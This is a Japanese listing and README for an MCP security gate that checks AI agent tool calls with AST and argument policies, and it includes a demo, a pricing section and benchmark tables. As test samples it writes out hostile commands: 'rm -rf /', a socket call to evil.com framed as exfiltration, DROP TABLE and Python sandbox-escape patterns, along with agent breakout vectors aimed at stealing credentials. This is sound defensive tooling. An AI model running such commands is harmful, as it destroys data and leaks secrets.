AW-1 Sovereign Circuit Breaker について
AW-1 Sovereign Circuit Breakerは、自律エージェントのツール呼び出しを保護するPython製セキュリティゲートです。Python実行前にASTと引数のポリシーを適用し、MCPサーバーとしてもセキュリティ検査機能を提供します。
主な機能
- 01ASTベースのポリシー適用
- 02ツールと引数の境界チェック
- 03アクター別のローリング頻度監視
- 04HMAC署名付き実行トークン
- 05関数と非同期ツールのゲート
活用シーン
- 01実行前の禁止されたPython操作の遮断
- 02エージェントのツール呼び出し頻度の制限
- 03クエリへの読み取り専用SQLポリシー適用
- 04MCPクライアント経由のツール呼び出し検査
MCP 対応
`python mcp_server.py`または`uvx aw1-circuit-breaker`でMCPサーバーとして実行できます。MCPクライアントからサーキットブレーカーのセキュリティ機能を呼び出せます。
設定
リモートサーバーはインストール不要です。クライアントを選んで設定をコピーするか、ワンクリックで導入できます。
https://p20.laveto.net/wisdom/mcp/sseclaude mcp add --transport sse mvikmanners-aw1-circuit-breaker https://p20.laveto.net/wisdom/mcp/sse{"mcpServers":{"mvikmanners-aw1-circuit-breaker":{"type":"sse","url":"https://p20.laveto.net/wisdom/mcp/sse"}}}Cursor で開く{"servers":{"mvikmanners-aw1-circuit-breaker":{"type":"sse","url":"https://p20.laveto.net/wisdom/mcp/sse"}}}VS Code で開く{"mcpServers":{"mvikmanners-aw1-circuit-breaker":{"type":"sse","url":"https://p20.laveto.net/wisdom/mcp/sse"}}}{"mcpServers":{"mvikmanners-aw1-circuit-breaker":{"serverUrl":"https://p20.laveto.net/wisdom/mcp/sse"}}}コマンドはターミナルで実行し、JSON は各クライアントの MCP 設定に貼り付けて再起動します。認可が必要なサーバーは初回接続時にログインを求めます。
ツール
詳細
aw1-circuit-breaker (v2.1.2)
HOL Guardでインストールすると、HOL listingを確認し、各ランタイムの前に確認を求めます:
hol-guard plugin install mvikmanners/aw1-circuit-breaker --apply
Hashgraph Online(HOL)で紹介されました: 独立したソースレベルの詳細な分析をお読みください:ツール呼び出し前にaw1-breakerが確認すること。
aw1-breakerは、抽象構文木(AST)による静的ポリシー適用、宣言的なPolicy-as-Code、アクターごとのローリング速度モニター、暗号署名付きHMAC実行トークンを使用し、サブミリ秒の実行ループで自律型AIエージェントのツール呼び出しをインターセプトする、依存関係ゼロのPythonセキュリティサーキットブレーカーです。
セキュリティの適用範囲と境界:
aw1-breakerは、Pythonランタイム実行の前に決定論的な静的ASTポリシーと引数レベルの境界ポリシーを適用します(禁止モジュール、危険な組み込み関数、SQLの変更、既知の回避パターンをブロックします)。アプリケーション層のポリシーゲートを提供し、任意の信頼できないコードを実行する場合に必要なオペレーティングシステムレベルのサンドボックス分離(コンテナ、gVisor、マイクロVMなど)を置き換えるのではなく、それを補完するように設計されています。
高並行性パフォーマンス(v2.1.0で検証済み)
tests/test_enterprise_engine.pyで、500個のタスクを同時実行するバッチを使った10,000件の非同期エージェントディスパッチのストレステストを通じて評価しました。
| 指標 | 結果 | 業界標準(LLM-as-a-Judge) |
|---|---|---|
| スループット | 8,485.0ディスパッチ/秒 | 約5~20 req/sec |
| 中央値レイテンシ(P50) | 0.0776 ms(77.6 µs) | 500~1,500 ms |
| 90パーセンタイル(P90) | 0.0941 ms(94.1 µs) | 1,200~2,000 ms |
| 95パーセンタイル(P95) | 0.1066 ms(106.6 µs) | 1,500~2,500 ms |
| 99パーセンタイル(P99) | 0.2263 ms(226.3 µs) | 2,000~4,000 ms |
| ポリシー拒否レイテンシ | < 0.13 ms(フェイルクローズ) | 該当なし(確率的) |
| 決定論的保証 | 構文に完全一致するAST文法マッチング | 確率的(約85~95%) |
⚡ 10 秒で試す(インストール不要)
何もインストールせずに、ターミナルでサーキットブレーカーをリアルタイムにテストできます。
uvx aw1-circuit-breaker --demo
または、任意のスニペットを検証できます。
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"
📦 インストール
pip install --upgrade aw1-circuit-breaker
(外部依存関係はありません。Python 3.10 から 3.13 の標準ライブラリのみを使用します。)
🛡️ エンタープライズガード(すぐに使える統合)
@guard.protect または汎用の @guard アダプターを使用して、エンタープライズの境界ポリシーをエージェントのツールに直接適用できます。
from aw1 import EnterpriseGuard, SecurityViolationError
guard = EnterpriseGuard(
allowed_tools=["safe_query", "fetch_market_data"],
max_velocity_per_min=60,
max_financial_limit=250.0,
readonly_sql=True
)
@guard.protect(tool_name="safe_query")
def execute_database_query(query: str):
return db.execute(query)
# Benign queries execute with sub-millisecond policy check overhead
execute_database_query("SELECT id FROM users LIMIT 1;")
# Adversarial AST injections & SQL drops are halted deterministically:
# -> Raises SecurityViolationError: "Database mutation rejected under readonly_sql policy"
汎用関数と非同期処理のゲーティング
from aw1 import guard
@guard
async def run_agent_tool(tool_payload: dict) -> dict:
return {"status": "ok"}
🔌 Model Context Protocol(MCP)サーバー
Python で直接実行します。
python mcp_server.py
または uvx 経由で実行します。
uvx aw1-circuit-breaker
MCP クライアントの設定
Claude Desktop または Cursor の設定に追加します。
{
"mcpServers": {
"aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
}
}
}
⚔️ エクスプロイトのインターセプト動作
AW-1 は、コードが Python のランタイム実行フレームに到達する前に、抽象構文木(AST)レベルで決定論的に動作します。確率的なプロンプトベースのガードレールはエンコーディングによる難読化に対して機能しませんが、AST 検査は定義されたポリシー境界に対する決定論的な文法解析を提供します。
インターセプトマトリックス
| 攻撃ベクトル | 攻撃者の手法 | LLM ガードレールの結果 | AW-1 AST サーキットブレーカー |
|---|---|---|---|
| 動的実行 | eval(compile(...)) | 意味的フィルターを回避 | 🛑 作動(RESTRICTED_INVOCATION) |
| シェルへの脱出 | subprocess.Popen(['bash', ...]) | システムタスクに偽装 | 🛑 作動(UNAUTHORIZED_MODULE_IMPORT) |
| ラテラルエクスフィルトレーション | socket.connect(('evil.com', 443)) | HTTP フェッチに偽装 | 🛑 作動(UNAUTHORIZED_MODULE_IMPORT) |
| SQL 破壊 | DROP TABLE users; | プロンプトジェイルブレイクで回避 | 🛑 作動(HALT_SQL_MUTATION_FORBIDDEN) |
| ダンダーイントロスペクション | ().__class__.__subclasses__() | キーワードフィルターを回避 | 🛑 作動(FAIL_CLOSED_REFLECTION_BREACH) |
ショーケースの実行
python examples/enterprise_guard_demo.py
🔬 自律型ブレイクアウト・ベンチマークスイート(BRK Gauntlet)
tests/test_breakout_gauntlet.py を使って、標準化された BRK Adversarial Vector Suite に対し、1,000 回のランダム化された実行サイクルで評価しました。
| ベクトル | エクスプロイトの仕組み/攻撃シグネチャ | 検出ポリシーレイヤー | 単一ディスパッチの中央値レイテンシ | ベンチマークスイートの結果 |
|---|---|---|---|---|
| BRK-101 | Base64 による難読化と eval() トンネリング: ネストされた Base64 構造にコマンド文字列をエンコードします。 | レイヤー 0 AST デコンパイラー(ast_unpacker.py) | 0.0389 ms(38.9 µs) | インターセプト(ベクトル合格率 100%) |
| BRK-102 | 未許可のソケット外部送信: 認証情報(.env、SSH キー)の抽出を狙う生の TCP ソケットです。 | ネットワークソケットゲート(UNAUTHORIZED_MODULE_IMPORT) | 0.0412 ms(41.2 µs) | インターセプト(ベクトル合格率 100%) |
| BRK-103 | 権限昇格パターン: プロセス権限の変更、chmod 777、またはファイル変更の呼び出しです。 | フェイルクローズポリシーアービトレーター | 0.0374 ms(37.4 µs) | インターセプト(ベクトル合格率 100%) |
| BENIGN | 高速パス操作: 読み取り専用クエリー、有効なパラメーター構造、無害な API ディスパッチです。 | 高速パス AST 検証バイパス | 0.0210 ms(21.0 µs) | 許可(誤検知率 0%) |
注:合格率 100% という指標は、テスト条件下で指定された合成ベクトルセット(BRK-101 から BRK-103)を封じ込めたことを示すものであり、任意の未知のエクスプロイトクラスに対する普遍的な封じ込めを主張するものではありません。
1,000 サイクルの Gauntlet をローカルで再現する
標準の Python で評価スイート全体を実行できます(外部依存関係は不要です)。
python tests/test_breakout_gauntlet.py
⏱️ 実行時レイテンシーテレメトリ
決定論的なセキュリティによって、エージェントの実行を遅らせてはなりません。以下は、Python 3.13 で 1,000 回の反復にわたり benchmark.py を使って裏付けた実測レイテンシーです。
| 評価対象 | 裏付けスクリプト | P50 レイテンシー | P95 レイテンシー | P99 レイテンシー | 備考 |
|---|---|---|---|---|---|
| AST ポリシーの完全検査(悪意のない入力) | benchmark.py | 0.0889 ms | 0.1298 ms | 0.1645 ms | AST の完全な解析とルール検証 |
| AST ポリシー検査(敵対的な入力) | benchmark.py | 0.0520 ms | 0.0919 ms | 0.1051 ms | 最初のポリシー違反で短絡 |
| シェル引数のサニタイズ処理 | benchmark.py | 0.0051 ms | 0.0096 ms | 0.0195 ms | 文字列引数のみを検証 |
| 複数タスクの同時ディスパッチ | tests/test_enterprise_engine.py | 0.0776 ms | 0.1066 ms | 0.2263 ms | 500 個の同時タスク(合計 10,000 件) |
ローカルで再現するには:
python benchmark.py
🧩 フレームワークとの統合(LangGraph の例)
AW-1 は、ツールをディスパッチする前に、自律型エージェントの実行ノードへ直接組み込めます。
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatches
try:
execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
print(f"Tool call halted: {blocked}")
🌐 クラウド REST API ゲートウェイと本番環境の利用枠
AW-1 Circuit Breaker は、マイクロサービス、ブラウザーのフロントエンド、自律型エージェントプラットフォーム向けに、オプションの HTTP ポリシー調停ゲートウェイを提供します。
- エンドポイント:
POST https://p20.laveto.net/wisdom/api/v1/intercept - CORS: 有効(
Access-Control-Allow-Origin: *) - 調停レイテンシーの中央値:
< 0.80 ms(トランスポートを除く HTTP 往復時間)
リクエストペイロード
{
"actor_id": "agent-alpha-01",
"tool_name": "sql_query",
"payload": "SELECT id, balance FROM accounts WHERE user_id = 42;"
}
レスポンススキーマ
1. 実行を許可(トークンを発行)
{
"status": "PERMITTED",
"verdict": "PASS",
"permitted": true,
"actor_id": "agent-alpha-01",
"tool_name": "sql_query",
"token": "YOUR_KEY_dev_dummy_key_000000000000",
"reason": "Policy evaluation completed: execution safe",
"latency_ms": 0.762,
"circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}
2. 脅威を封じ込め(フェイルクローズ)
{
"status": "HALT_AND_CONTAIN",
"verdict": "FAIL_CLOSED",
"permitted": false,
"actor_id": "agent-alpha-01",
"tool_name": "bash",
"token": null,
"reason": "AST Circuit Breaker containment triggered",
"latency_ms": 0.201,
"circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}
本番環境の利用枠と料金
| プラン | 料金(USD / BWP) | 利用枠と機能 | アクセス/チェックアウト |
|---|---|---|---|
| 開発者サンドボックス | 無料 | 10,000 リクエスト、HMAC トークン発行 | コード HOL-BREAKER-2026 |
| 開発者 Pro | $49 / BWP 690 /月 | 50,000 件の監査リクエスト、ライセンスキー 1 個、オフライン HMAC 検証 | Pro にアップグレード |
| チーム/スタートアップ | $199 / BWP 2,650 /月 | 1,000,000 件の監査リクエスト、シートキー 5 個、Redis 状態同期 | Team にアップグレード |
| 専用エンタープライズ | $990 / BWP 13,200 /月 | シート数無制限、専用ゲートウェイテナント、カスタム法定レンズ | エンタープライズ窓口 |
エンタープライズの利用枠で認証するには、署名済みベアラートークンを Authorization ヘッダーに渡します。
curl -X POST [https://p20.laveto.net/wisdom/api/v1/intercept](https://p20.laveto.net/wisdom/api/v1/intercept) \
-H "Authorization: Bearer AW1-EXEC-TOKEN-..." \
-H "Content-Type: application/json" \
-d '{"actor_id": "prod-agent-01", "tool_name": "db_query", "payload": "SELECT 1;"}'
ライセンス
Apache License, Version 2.0 の下でライセンスされています。詳細は LICENSE を参照してください。
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。